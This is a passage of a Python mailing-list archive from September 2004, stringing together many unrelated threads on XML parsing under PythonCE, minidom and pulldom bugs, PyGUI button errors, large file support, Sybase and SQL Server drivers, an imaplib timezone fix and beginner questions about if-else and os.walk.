I was learning Unix v6. They were used extensively in ed, sed, grep, awk, and maybe a few other tools. Perl grew up sometime in the 80's, in an attempt to unify all those tool (plus shell) into a single language. From abra9823 at mail.usyd.edu.au Tue Sep 7 08:36:30 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 7 Sep 2004 22:36:30 +1000 Subject: python from Java In-Reply-To: <0rh%c.26762$Z14.8686@news.indigo.ie> References: <mailman.2887.1094353612.5135.python-list@python.org> <YIC_c.26633$Z14.8564@news.indigo.ie> <mailman.2892.1094385321.5135.python-list@python.org> <H2E_c.26646$Z14.8654@news.indigo.ie> <mailman.2968.1094551279.5135.python-list@python.org> <0rh%c.26762$Z14.8686@news.indigo.ie> Message-ID: <1094560590.413dab4e0d97e@www-mail.usyd.edu.au> hi! i have xmlproc working and i can build a minidom pretty quickly using it, which means i can port my exisiting DOM code to the PDA. but i am going to use SAX and build the object model you mentioned and use that. just a question, how hard would it be to actually perform the comparison using C. ie, pass the dom/object model to a C module and have it do the comparison. it should considerably speed up things and maybe the best time to try my knowledge of C. the part i am worried about with using C is converting the datatypes, ie the object model/minidom to something else in C. anyways thanks for your help and suggestions....why didn't i try xmlproc earlier and a dom with xmlproc is quite fast....well atleast compared to pxdom. thanks cheers Quoting Alan Kennedy <alanmk at hotmail.com>: > [Alan Kennedy] > >>I think the best solution for you is to use and event-based python > >>parser to parse your XML. > > and > > >>What you should consider is building your own object model, based on > the > >>events generated by your SAX parser. Although this sounds hard, it is > >>actually extremely easy, as this ActiveState cookbook entry shows. > >> > >>http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/149368 > >> > >>There are also multiple cpython products which will build a python > >>object model from XML events: all of these should be comparatively cpu > >>and memory efficient. > >> > >>Objectify > >>http://gnosis.cx/download/gnosis/xml/objectify > >> > >>Anobind > >>http://uche.ogbuji.net/tech/4Suite/anobind/ > >> > >>ElementTree > >>http://effbot.org/downloads/#elementtree > > [Ajay] > > okay i tried the above approaches but no luck. See the problem is an > XML > > parser which works on a PDA - pythonce. Now elementtree uses pyexpat > > (which pythonce doesn't have), objectify just needs expat which i > dont > > have either and anobind needs 4Suite - there is no port for it to a > PDA. > > so i am back to where i was earlier. > > looking for a reasonably fast and efficient xml parser that works on a > PDA > > (DOM or SAX, i dont care) > > I see. > > OK, rather than us trying to suggest multiple possible solutions, only > to find out that they are not supported on python-ce, because of lack of > expat, etc, please can you list for us the xml parsers that *do* work on > python-ce. > > Particularly, I'm interested in whether the xml.sax modules work. Also, > check to see if sgmllib works, since that can also be used as an > efficient XML parser. There's got to be *some* event-based XML parser on > python-ce, even if it is pure-python. > > Start by looking at this HOWTO, and see if you can get any of the > examples running. > > http://pyxml.sourceforge.net/topics/howto/section-SAX.html > > Once you've got a working event parser, then we'll figure out the best > way to build a python object model for your xml files. > > regards, > > -- > alan kennedy > ------------------------------------------------------ > email alan: http://xhaus.com/contact/alan > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From tonino.greco at gmail.com Thu Sep 2 03:55:58 2004 From: tonino.greco at gmail.com (tag) Date: 2 Sep 2004 00:55:58 -0700 Subject: invalid token problem ? References: <5db3bf00.0408310133.39de601c@posting.google.com> <ch1ki4$o78$00$1@news.t-online.com> Message-ID: <5db3bf00.0409012355.2c502b79@posting.google.com> Thomas Kr?ger <thomas.krueger at gmx.net> wrote in message news:<ch1ki4$o78$00$1 at news.t-online.com>... > Your XML is not well-formed. All quotation marks in CDATA fields (outside of > a tag) must be quoted to ". I got that part :) > You XML should be: > <Cell Col="2" Row="10">="Actual Asset mix > "&text($C$46,"dd-mmm-yyyy")</Cell> > but they are - it is complaining about the : &text part ... the '"' 's are converted into " ... any other suggestions ? From __peter__ at web.de Tue Sep 21 05:09:27 2004 From: __peter__ at web.de (Peter Otten) Date: Tue, 21 Sep 2004 11:09:27 +0200 Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <cioq1t$br9$1@swifty.westend.com> Message-ID: <cior47$7fi$01$1@news.t-online.com> Peter Maas wrote: > If the Python community had only the ide=idiot guys this would be > the most serious threat for Python's survival. :) I like the ambiguity of that statement - both interpretations ring true :-) Peter From uche.ogbuji at fourthought.com Sun Sep 12 00:49:21 2004 From: uche.ogbuji at fourthought.com (Uche Ogbuji) Date: Sat, 11 Sep 2004 22:49:21 -0600 Subject: [XML-SIG] minidom parse error - keyerror In-Reply-To: <1094813492.414187341e79b@www-mail.usyd.edu.au> References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au> <mailman.3019.1094619792.5135.python-list@python.org> <RQB%c.26808$Z14.8877@news.indigo.ie> <1094704456.413fdd48349c1@www-mail.usyd.edu.au> <1094762405.16237.329.camel@borgia> <1094813492.414187341e79b@www-mail.usyd.edu.au> Message-ID: <1094964561.16237.4594.camel@borgia> On Fri, 2004-09-10 at 04:51, Ajay wrote: > Quoting Uche Ogbuji <uche.ogbuji at fourthought.com>: > > > On Wed, 2004-09-08 at 22:34, Ajay wrote: > > > hi! > > > > > > > > > Quoting Alan Kennedy <alanmk at hotmail.com>: > > > > > > > [Ajay] > > > > > i have tried the archives now and heaps of Google searches but am > > no > > > > closer > > > > > to finding out what the error is. > > > > > > > > > > the error does not appear if i use expat. > > > > > > > > and > > > > > > > > >>i am parsing the attached document. > > > > >>the code is > > > > >>parser = make_parser('xml.sax.drivers2.drv_xmlproc') > > > > >>ruleSet = parse(ruleSetFile, parser=parser) > > > > You've got some odd code here. The following works for me (no errors): > > > > >>> from xml.sax import make_parser > > >>> parser = make_parser('xml.sax.drivers2.drv_xmlproc') > > >>> ruleSet = parser.parse("foo.xml") > > > > Where "foo.xml" is the file I pasted in from your message. > > i should have put my import statements. i am actually trying to use minidom > with xmlproc. thus the code really is > from xml.dom.minidom import parse > from xml.sax import make_parser > > parser=make_parser('xml.sax.drivers2.drv_xmlproc') > ruleSet = parse('foo.xml', parser=parser) > > this throws the error i described earlier for the document which i also > posted earlier. > > so what am i doing wrong? I don't think you're doing anything especially wrong. This looks like a bug in pulldom. Seems as though it can't handle "global" attributes when fed from parsers that don't report namespace prefix mappings. IOW, <p3p:PURPOSE appel:connective="or"> ^^^^^^ breaks in this case. This will probably require some work in PullDOM to address :-( Man, you seem to have the worst luck here. -- Uche Ogbuji Fourthought, Inc. http://uche.ogbuji.net http://4Suite.org http://fourthought.com Meet me at XMLOpen Sept 21-23 2004, Cambridge, UK. http://xmlopen.org A hands-on introduction to ISO Schematron - http://www-106.ibm.com/developerworks/edu/x-dw-xschematron-i.html Wrestling HTML (using Python) - http://www.xml.com/pub/a/2004/09/08/pyxml.html XML circles the globe - http://www.javareport.com/article.asp?id=9797 Element structures for names and addresses - http://www.ibm.com/developerworks/xml/library/x-elemdes.html Commentary on "Objects. Encapsulation. XML?" - http://www.adtmag.com/article.asp?id=9090 Harold's Effective XML - http://www.ibm.com/developerworks/xml/library/x-think25.html A survey of XML standards - http://www-106.ibm.com/developerworks/xml/library/x-stand4/ From missive at frontiernet.net Sat Sep 25 19:05:44 2004 From: missive at frontiernet.net (Lee Harr) Date: Sat, 25 Sep 2004 23:05:44 GMT Subject: PyGUI: 'gtk.Button' object has no attribute 'get_sensitive' Message-ID: <slrnclbue7.27g1.missive@homer.localdomain> I wanted to modify the program Tests/04-button.py like so: def simulate_hello(): btn1.activate() becomes... def simulate_hello(): if btn2.enabled: btn2.activate() else: btn1.activate() but when I click on btn3 I get this: [...] File "04a-button.py", line 12, in simulate_hello if btn2.enabled: File "/usr/local/lib/python2.3/site-packages/GUI/Generic/Properties.py", line 30, in <lambda> lambda self: getattr(self, getter_name)(), File "/usr/local/lib/python2.3/site-packages/GUI/Gtk/Controls.py", line 34, in get_enabled return self._gtk_outer_widget.get_sensitive() AttributeError: 'gtk.Button' object has no attribute 'get_sensitive' I also tried btn2.get_enabled() but that gives the same error. Any hints on how to find out if the button is enabled? From onurb at xiludom.gro Mon Sep 20 18:01:30 2004 From: onurb at xiludom.gro (bruno modulix) Date: Tue, 21 Sep 2004 00:01:30 +0200 Subject: How to go about developing in zope In-Reply-To: <4c900ea0.0409170539.4b314557@posting.google.com> References: <4c900ea0.0409160754.2158e732@posting.google.com> <nn7kk0hgbhihtdpqtpglsjf68us5rjn7k9@4ax.com> <4c900ea0.0409170539.4b314557@posting.google.com> Message-ID: <414f54de$0$12997$626a14ce@news.free.fr> john a ?crit : (snip) > Are there any tutorial on buliding a data driven(i.e database ) website with zope?? Yes, on zope.org From john.thingstad at chello.no Thu Sep 2 14:32:09 2004 From: john.thingstad at chello.no (John Thingstad) Date: Thu, 02 Sep 2004 20:32:09 +0200 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <slrncjep0f.oa.amajorel@vulcain.knox.com> Message-ID: <opsdpprvxppqzri1@mjolner.upc.no> On Thu, 2 Sep 2004 18:19:43 +0000 (UTC), Andre Majorel <amajorel at teezer.fr> wrote: > On 2004-09-02, John Thingstad <john.thingstad at chello.no> wrote: > >> The fact that the NT kernel is not entirely stable yet really >> shouldn't supprise anyone. Afterall Unix has messed with it's >> kernel for 30 years. > > I feel compelled to point out that Linux achieved considerably > better stability after just a few years. > I feel compelled to replay that Linux is based on the Posix standard which is basically a recipie for writing unix. They did not write a new operating system. They implemented a tested and proven one. -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From aleaxit at yahoo.com Tue Sep 7 05:43:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 11:43:35 +0200 Subject: Anyone know anything named DX? References: <20040901221925.2128958333.EP@zomething.com> <mailman.2945.1094509287.5135.python-list@python.org> <pan.2004.09.06.21.29.05.273319@jerf.org> <1stv02-qlp.ln1@home.rogerbinns.com> <2q55tcFrgjv1U1@uni-berlin.de> <1gjqlvl.1wxc90o5nbl3mN%aleaxit@yahoo.com> <2q5am9Fqu2fuU3@uni-berlin.de> Message-ID: <1gjqqzn.1xjls4hkquh3kN%aleaxit@yahoo.com> Leif K-Brooks <eurleif at ecritters.biz> wrote: > Alex Martelli wrote: > > There's a recipe for the first part of this (generating > > non-totally-ranom passwords by pastiche, i.e. Markov Chain) in the 1st > > printed edition of the Cookbook -- it would be neat to add a back-end > > for the second part, the check with the Google API... > > I've played around with Markov Chains the Google API before, and it > wouldn't be very hard to implement (if you don't care about speed or > sanity, anyway). I think the toughest part would be gathering word lists > for the subject matter Roger Binns mentioned. Heh, gathering (and cleaning up, etc) good clean corpora was indeed the hardest part of building a Markov model for natural language (for speech recognition purposes) as we were doing in IBM Research starting about 20 years ago -- that's when I learned to love scripting, AKA very high level, languages (at that time and place, that meant Rexx). But today, with so much material on any given field in any given language available from the web, the task is _way_ easier -- for the generic Italian corpus of the '80s we had to "reverse engineer" the text from tens of millions of words that were available in machine-readable form only as binary files ready to drive some kind of photocomposer, kindly suppied to us by various newspapers, agencies and publishers...!-) Oops, I'm slipping into warstories, like us old codgers tend to do, I'd better stop right here! Still, the advice is to wget or urllib.get a bunch of web pages of interest and format them into reasonably clean text -- shouldn't be all THAT tough! Alex From erik at heneryd.com Mon Sep 13 20:05:28 2004 From: erik at heneryd.com (Erik Heneryd) Date: Tue, 14 Sep 2004 02:05:28 +0200 Subject: check for unused ports and then grab one In-Reply-To: <41462666.9060606@usa.net> References: <ci502a$e77$1@solaris.cc.vt.edu> <mailman.3268.1095108346.5135.python-list@python.org> <9vhh12-suo.ln1@lairds.us> <41462666.9060606@usa.net> Message-ID: <414635C8.9090208@heneryd.com> Brad Tilley wrote: > Cameron Laird wrote: >> Incorrect, if I understand you both; *UNIX Network Programming* >> has said for years that >> The process can let the system automatically assign a port. For >> both the Internet domain and the XNS >> domain, specifying a port number of 0 before calling >> bind() requests the system to do this. >> While I've never tracked down an RFC that specifies this, it surely >> exists. Ah. Nothing you use very often. Closest I've come is opening a (random) port in some interval. > This works... even on winXP... thank you! Not very surprising considering that it's network code is based on BSD. Erik From tuplad at gmail.com Sat Sep 11 08:34:42 2004 From: tuplad at gmail.com (TuPLaD) Date: 11 Sep 2004 05:34:42 -0700 Subject: if-else-then References: <a2e43d1f.0409101534.3a0a5cfe@posting.google.com> <mailman.3180.1094859861.5135.python-list@python.org> Message-ID: <848b3711.0409110434.6db93979@posting.google.com> Thank you very much ! But i got one more question, i was googling in python sites, and i found a site where he he a code like this : if user type: n, no, nop, nope then print 'You canceled' else if user type: y, ye, yes, yep then print 'We are beginning' How do i do that ? Phil Frost <indigo at bitglue.com> wrote in message news:<mailman.3180.1094859861.5135.python-list at python.org>... > "=" and "==" are two different operators in Python. "=" is the asignment > operator; it asigns values to names. "==" is the equality operator; it > returns true if its operands are equal. > > Also, to compare name to a string, the string must be in quotes. > Without quotes, python will look for a varable named "Stickie". > > Furthermore, defining main won't make it run. A common idiom is to check > __name__ and run main. If the file is being run as a program, as opposed > to being imported as a module, __name__ will be "__main__". > > Also, I don't see need for the "n" parameter, or the time.sleep(). I > have removed them. > > Here is your program with these points applied: > > #=========== > > def main(): > name = raw_input("Please enter your name: ") > if name == "Stickie": > print 'Yo masta', name > else: > print "Your name is", name > > if __name__ == '__main__': > main() > > #=========== > > On Fri, Sep 10, 2004 at 04:34:58PM -0700, TuPLaD wrote: > > Hi, i got the following script: > > > > name = raw_input("Please enter your name: ") > > print "Your name is", name > > > > but i want it that way: > > > > if > > name = Stickie > > then > > print "You be di man" > > > > how do i do it ? > > > > This i what i have from a tutorial, but with syntax errors i dont know > > what im doing wrong :( > > > > #!C:\Python23\python.exe > > # My first Python Application ! > > # By TuPLaD > > # [email]spawnxx at pandora.be[/email] > > > > import time > > def main(n): > > name = raw_input("Please enter your name: ") > > if name = Stickie: > > print 'Yo masta', name > > else: > > print "Your name is", name > > > > time.sleep(5) > > > > what should i do ? From ary at esi-group.com Wed Sep 29 10:55:48 2004 From: ary at esi-group.com (Anand K Rayudu) Date: Wed, 29 Sep 2004 20:25:48 +0530 Subject: how to get files in a directory Message-ID: <415ACCF4.4070506@esi-group.com> Hi all, I am trying to find a way to get the files recursively in a given directory, The following code is failing, can some one please suggest what could be problem here from os import walk,join for root,dir,files in os.walk("E:\myDir1\MyDir2"): for i in dir: for j in files: fille = root+i+j print file Surprisingly if i give os.walk("E:\myDir1") the above code works, but not if i have 2 levels of directories. Thanks & Best Regards, Anand From peter at engcorp.com Wed Sep 22 15:05:52 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 22 Sep 2004 15:05:52 -0400 Subject: New to Python In-Reply-To: <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca> References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> <mailman.3722.1095866933.5135.python-list@python.org> <pan.2004.09.23.17.02.22.649109@jerf.org> <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca> Message-ID: <ivKdnT9rF9yNUMzcRVn-oA@powergate.ca> Peter Hansen wrote: > You might also say it's for the benefit of many of the old-timers > who are here, providing the answers. Any such who *haven't* > taken the time to read it, 10000 words or not, should do so > at the earliest opportunity. It isn't perfect, but it could > well save you some time, embarrassment, or a public whipping. And as an additional incentive, I point you to the section near the end on "How To Answer Questions in a Helpful Way": http://www.catb.org/~esr/faqs/smart-questions.html#id2889110 Everyone who thought this essay was only about *asking* questions should read that, then go back and read the rest of it anyway. :-) (And it's only 9957 or so words, not an ominous-sounding 10000!) -Peter From jmlai at uci.edu Fri Sep 3 11:27:11 2004 From: jmlai at uci.edu (Jason Lai) Date: Fri, 03 Sep 2004 08:27:11 -0700 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <mailman.2838.1094223946.5135.python-list@python.org> References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> Message-ID: <cha2gl$k6p$1@news.service.uci.edu> Carlos Ribeiro wrote: > On Sat, 4 Sep 2004 00:15:41 +1000, Andrew Durdin <adurdin at gmail.com> wrote: > >>However, I think it'd be hard to make an iterator implementation of >>sorted() without either copying the sequence or resorting to O(n^2) >>performance, which is not good. >>This may just be an example where inconsistency is a practical necessity. > > > You may be right. At the least, this reasoning could possibly be > included in the FAQ, as it will probably turn out to be a frequent > question in the near future. But having sorted() to return a iterator > still sounds like a logical thing to do, so I'm not sure about it. > I had an idea for a moment about having sorted/reversed return the same type as it was passed -- so reversed(seq) returns a seq, reversed(iterator) returns an iterator. But it sounds confusing/magical and maybe out of line with Python philosophy. Although I think the whole iterator usage seems a little messy right now, so it's worth thinking about how seq/iterators-related functions should behave. - Jason Lai From jerf at jerf.org Tue Sep 14 00:03:26 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 14 Sep 2004 04:03:26 GMT Subject: Easy question on opening a file References: <3_t1d.296421$Oi.201894@fed1read04> Message-ID: <pan.2004.09.14.15.13.54.941728@jerf.org> On Mon, 13 Sep 2004 20:57:35 -0700, news.west.cox.net wrote: > files = os.listdir('/direcory') > if len(files) > 0: > for file in files: > f1 = file(file, "r") > do some other stuff This will help you: files = os.listdir('/directory') print "The name 'file' is bound to:", repr(file) for file in files: print "Now the name 'file' is bound to:", repr(file) (Probably one of the last little warts I get bitten by often is that the builtins are named a little *too* conveniently... :-) OK, even "wart" is strong, but you know what I mean.) From rswerdlow at transpose.com Fri Sep 3 15:12:04 2004 From: rswerdlow at transpose.com (Bob Swerdlow) Date: Fri, 3 Sep 2004 15:12:04 -0400 Subject: Python daemon and popen2 Message-ID: <011e01c491e9$e9deb270$046fa8c0@RSWERDLOW800> I've created a Python daemon that starts a bunch of BitTorrent downloader process. Everything is working fine when I start the daemon by hand (logged on as root). I can quit the session and see that the daemon is running and the subprocesses are running, too. However, when I configure the system to automatically start the daemon on boot-up, the daemon runs, but the processes are not created. This is on Solaris 8 with Python 2.3.3. The processes are started with popen2. I'm starting the processes with a script in /etc/rc3.d/S81btseeds. Any suggestions? Why should it care that it is running at start-up? Bob Swerdlow COO Transpose rswerdlow at transpose.com 207-781-8284 http://www.transpose.com ---------------------------------- Fight Spam! Add this link to your signature (as I did): http://wecanstopspam.org Click through to find out more. ---------------------------------- From peter at semantico.com Tue Sep 21 04:09:47 2004 From: peter at semantico.com (Peter Hickman) Date: Tue, 21 Sep 2004 09:09:47 +0100 Subject: Python for Perl programmers? In-Reply-To: <fuN3d.5823$QB1.237@trndny02> References: <c1e48b51.0409201820.217e1dd@posting.google.com> <fuN3d.5823$QB1.237@trndny02> Message-ID: <414fe1cc$0$2147$afc38c87@news.easynet.co.uk> Chris S. wrote: > I've read that Ruby is actually more akin to Perl than Python. From a > Ruby wiki, "[Matsumoto] chose the name to reflect the language's Perl > heritage". Granted, Python definitely deserves your attention, but if > you're a die-hard Perl user, you may also want to take a look at Ruby. I actually found Python to be too close to Perl when I first looked into it. Ruby was sufficiently different to both for me to learn Ruby first. From adalke at mindspring.com Thu Sep 23 16:04:53 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 23 Sep 2004 20:04:53 GMT Subject: lfs confusion In-Reply-To: <mailman.3803.1095963499.5135.python-list@python.org> References: <mailman.3796.1095959172.5135.python-list@python.org> <mVD4d.1230$zG1.821@newsread3.news.pas.earthlink.net> <mailman.3803.1095963499.5135.python-list@python.org> Message-ID: <F%F4d.1357$zG1.459@newsread3.news.pas.earthlink.net> John Hunter > Do you mean fd.seek? D'oh! Yeah. > I did manage to read and write a 4GB file on crcdocs using the script I > posted above. Perhaps I don't understand what the "large" in large > file really means. I assumed it was 2**31 approx equal 2GB. Has the > default, non LFS limit, increased? I think the answer is "it depends." By default Python checks for large file support. From 'configure' if test "$have_long_long" = yes -a \ "$ac_cv_sizeof_off_t" -gt "$ac_cv_sizeof_long" -a \ "$ac_cv_sizeof_long_long" -ge "$ac_cv_sizeof_off_t"; then cat >>confdefs.h <<\_ACEOF #define HAVE_LARGEFILE_SUPPORT 1 _ACEOF In other words, the default is to support large files but only when the system supports >32 bit off_t. CVS says that was added in 1999. The fileobject.c code for seek has #if !defined(HAVE_LARGEFILE_SUPPORT) offset = PyInt_AsLong(offobj); #else offset = PyLong_Check(offobj) ? PyLong_AsLongLong(offobj) : PyInt_AsLong(offobj); #endif if (PyErr_Occurred()) return NULL; so my (corrected) statement about seeking to >2**31 should work. Though I'm not sure now that sys.maxint is the proper test since it might return 2**63 under a 64 bit machine. Hardcoding the value should work. > I did do the normal incantation with the CFLAGS when compiling python > for LFS on crcdocs. You're beyond my knowledge there. I thought that Python did the check automatically and didn't need the CLAGS= ... I compile from CVS source without special commands and it Just Works. Andrew dalke at dalkescientific.com From steve at holdenweb.com Sun Sep 26 21:23:39 2004 From: steve at holdenweb.com (Steve Holden) Date: Sun, 26 Sep 2004 21:23:39 -0400 Subject: Python and Sybase In-Reply-To: <2rivotF1aq7gtU1@uni-berlin.de> References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> <cpallezisbz.fsf@cabernet.nelson.monkey.org> <2rivotF1aq7gtU1@uni-berlin.de> Message-ID: <20K5d.788$TY2.550@lakeread04> Moof wrote: > Nelson Minar wrote: > > >>While we're here, is there a free module for accessing SQLServer from >>Python? Last I checked this Sybase driver was the only option. > > > Pywin32 (formerly win32all) has an odbc module which is DB-API 1.0 compliant. > I believe Mark Hammond doesn't make exaggerated claims for this module, and I certainly wouldn't recommend it. > There's also adodbapi, which is DB-API 2.0 compliant. > For what it's worth, I actually managed to use adodbapi as a drop-in replacement for mx.ODBC.Windows accessing a SQL Server database - there were resource-utilization problems, which we eventually traced to IIS (lest anyone should interpret this as criticism of mx.ODBC, an excellent piece of software). > I haven't used the latter enough to work out if it's reasonably useful. I > don't get on with the former very well, though. > > Oh, and non-free there's mxODBC, which also works under unix. > Also, remember, mx.ODBC's licensing allow use on non-commercial projects without charge. > Also from unix someone mentioned a module based on ODBTP, which hasn't yet > surfaced out in the wild. > > Moof regards Steve From claird at lairds.us Wed Sep 22 00:08:19 2004 From: claird at lairds.us (Cameron Laird) Date: Wed, 22 Sep 2004 04:08:19 GMT Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> <0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com> Message-ID: <mn8722-av8.ln1@lairds.us> In article <0f71l09s44fu9rtg6lrte3qeicgu40off1 at 4ax.com>, Fred <fred at acme.com> wrote: >On Tue, 21 Sep 2004 07:01:00 -0400, "RPM1" <rpm1deleteme at direcway.com> >wrote: >>I do notice though that when I try to convince a co-worker to try Python, >>the thing that seems to be the biggest turn off is the lack of an IDE with a >>GUI designer included standard > >I agree. Once you're used to the productivity of Delphi or VB, it's a >big turn-off to have to go back to building GUI's by hand, and >shipping the 3MB DLL for wxWidgets is an extra reason why newbies >might give up on another excellent tool. Too bad Guido et al. didn't >take the GUI part into consideration earlier. . . . In the Tk community, there's a fair density of developers with backgrounds in Delphi or VB, yet who claim to *prefer* to do "GUIs by hand". The "turn-off" isn't universal, if my observations are accurate. Also, I confess to taking offense at your mention of Guido et al. Please don't think they ignored GUI considerations or possibilities. Even with hindsight, *I* sure don't know how they could have done better by themselves and Python. I suspect I'm overreacting, and that you intended no disrespect in what you wrote. It certainly rubbed me wrong, though. From peter at engcorp.com Fri Sep 24 07:08:28 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 07:08:28 -0400 Subject: up with PyGUI! In-Reply-To: <2rhjmpF1at3kjU1@uni-berlin.de> References: <mailman.3318.1095180577.5135.python-list@python.org> <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> Message-ID: <pbadnZfDHOixncncRVn-jg@powergate.ca> Greg Ewing wrote: > For a while now I've been wondering whether Python could > benefit from an "instance" statement that works similarly > to a class statement but creates instances instead of > classes. > > e.g. > > class MainFrame(FrameDescription): > > instance b1(ButtonDescription): > size = (40, 40) > text = "b1" > > Haven't figured out all the details of how it would > work, though... I think you can probably force the current implementation to work this way, with a little work. You'd need to *slightly* change the above spelling though, and make sure you were using one of the standard Python implementations and not, say, something that didn't follow the language reference: class MainFrame(FrameDescription): b1 = ButtonDescription( size = (40, 40), text = "b1", ) That's pretty close to what you asked for. You're welcome, in advance. <wink> (Actually, I suspect you wanted slightly different behaviour, but I'm not clear on what.) -Peter From steven.bethard at gmail.com Tue Sep 7 03:44:37 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 7 Sep 2004 07:44:37 +0000 (UTC) Subject: docs on for-loop with no __iter__? References: <mailman.2873.1094321890.5135.python-list@python.org> <bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net> <mailman.2879.1094332737.5135.python-list@python.org> <Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net> <mailman.2883.1094340967.5135.python-list@python.org> <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <mailman.2913.1094451430.5135.python-list@python.org> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> <mailman.2944.1094506599.5135.python-list@python.org> <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> <mailman.2955.1094538759.5135.python-list@python.org> <1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com> Message-ID: <loom.20040907T092448-589@post.gmane.org> Alex Martelli <aleaxit <at> yahoo.com> writes: > > If no code would have been broken, I don't see why it would be > > unreasonable to use a more intuitive protocol. > > It may seem more intuitive to programmers trained in languages where > exceptions are to be used as little as feasible, but to a > dyed-in-the-wool Pythonista it doesn't. Your proposed protocol would be > more complicated than the historical one, since it would have to cover > both classes that expose __len__ and ones that don't, in different ways, > while the historical one is simpler because it does not need to draw > that distinction, and "simpler is better than complicated" is a very > important design principle in Python. Well, my logic here was something along the lines of: If you've provided a __len__ method and a __getitem__ that returns items for each index, then you've already provided all the necessary information for iteration. If the __getitem__ also has to raise an IndexError when the index exceeds the length, in some sense, you're duplicating information -- both __len__ and the IndexError tell you the length of the sequence. So it's not an exception fear, but a duplication of code fear, which I hope is somewhat more Pythonic. =) It would have made describing the protocol somewhat more complex, but it would have made using the protocol in a class simpler. Moot point of course, since I'm fully convinced that changing the protocol is infeasible. =) Steve From cbrown at metservice.com Sun Sep 26 20:29:56 2004 From: cbrown at metservice.com (Colin Brown) Date: Mon, 27 Sep 2004 12:29:56 +1200 Subject: imaplib function bug? References: <4153575a$1@news.iconz.co.nz> Message-ID: <41575c2e$1@news.iconz.co.nz> Importing calendar and then making the modification as below to imaplib.py fixes the problem ;-) ======================================= def Internaldate2tuple(resp): """Convert IMAP4 INTERNALDATE to UT. Returns Python time module tuple. """ mo = InternalDate.match(resp) if not mo: return None mon = Mon2num[mo.group('mon')] zonen = mo.group('zonen') day = int(mo.group('day')) year = int(mo.group('year')) hour = int(mo.group('hour')) min = int(mo.group('min')) sec = int(mo.group('sec')) zoneh = int(mo.group('zoneh')) zonem = int(mo.group('zonem')) # INTERNALDATE timezone must be subtracted to get UT zone = (zoneh*60 + zonem)*60 if zonen == '-': zone = -zone tt = (year, mon, day, hour, min, sec, -1, -1, -1) return time.gmtime(calendar.timegm(tt) - zone) ============================================== Colin Brown PyNZ "Colin Brown" <cbrown at metservice.com> wrote in message news:4153575a$1 at news.iconz.co.nz... > The Python 2.3 documentation in imaplib says: > Internaldate2tuple( datestr) > Converts an IMAP4 INTERNALDATE string to Coordinated Universal Time. > Returns a time module tuple. > > Time2Internaldate( date_time) > Converts a time module tuple to an IMAP4 "INTERNALDATE" representation. > Returns a string in the form: "DD-Mmm-YYYY HH:MM:SS +HHMM" (including > double-quotes). > Yet running the following code produces inconsistent results (returning > local not UTC time for Internaldate2tuple): > > import imaplib, time > tmtup = time.localtime() > imaptm = imaplib.Time2Internaldate(tmtup) > print 'local_time:',tmtup > print 'local_time:',imaptm > utc = imaplib.Internaldate2tuple('INTERNALDATE '+imaptm) > print 'utc_time :',utc > > C:\>python imapbug.py > local_time: (2004, 9, 24, 10, 52, 59, 4, 268, 0) > local_time: "24-Sep-2004 10:52:59 +1200" > utc_time : (2004, 9, 24, 10, 52, 59, 4, 268, 0) > > Is this a bug? > > Colin Brown > PyNZ > > > From aleaxit at yahoo.com Mon Sep 6 06:13:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 12:13:35 +0200 Subject: built-in function- module name clash References: <mailman.2917.1094464953.5135.python-list@python.org> Message-ID: <1gjoxjy.tnmmkfvk7sk7N%aleaxit@yahoo.com> Olivier Vierlinck <Olivier.Vierlinck at iba.be> wrote: > Hi, > > I've a python script using somecalls to the abs() built-in function. > > Now, I have to import a module named 'abs' too... > The consequence if that line code like > > if (abs(a-b) < epsilon: > ... > does not work anymore, with this error 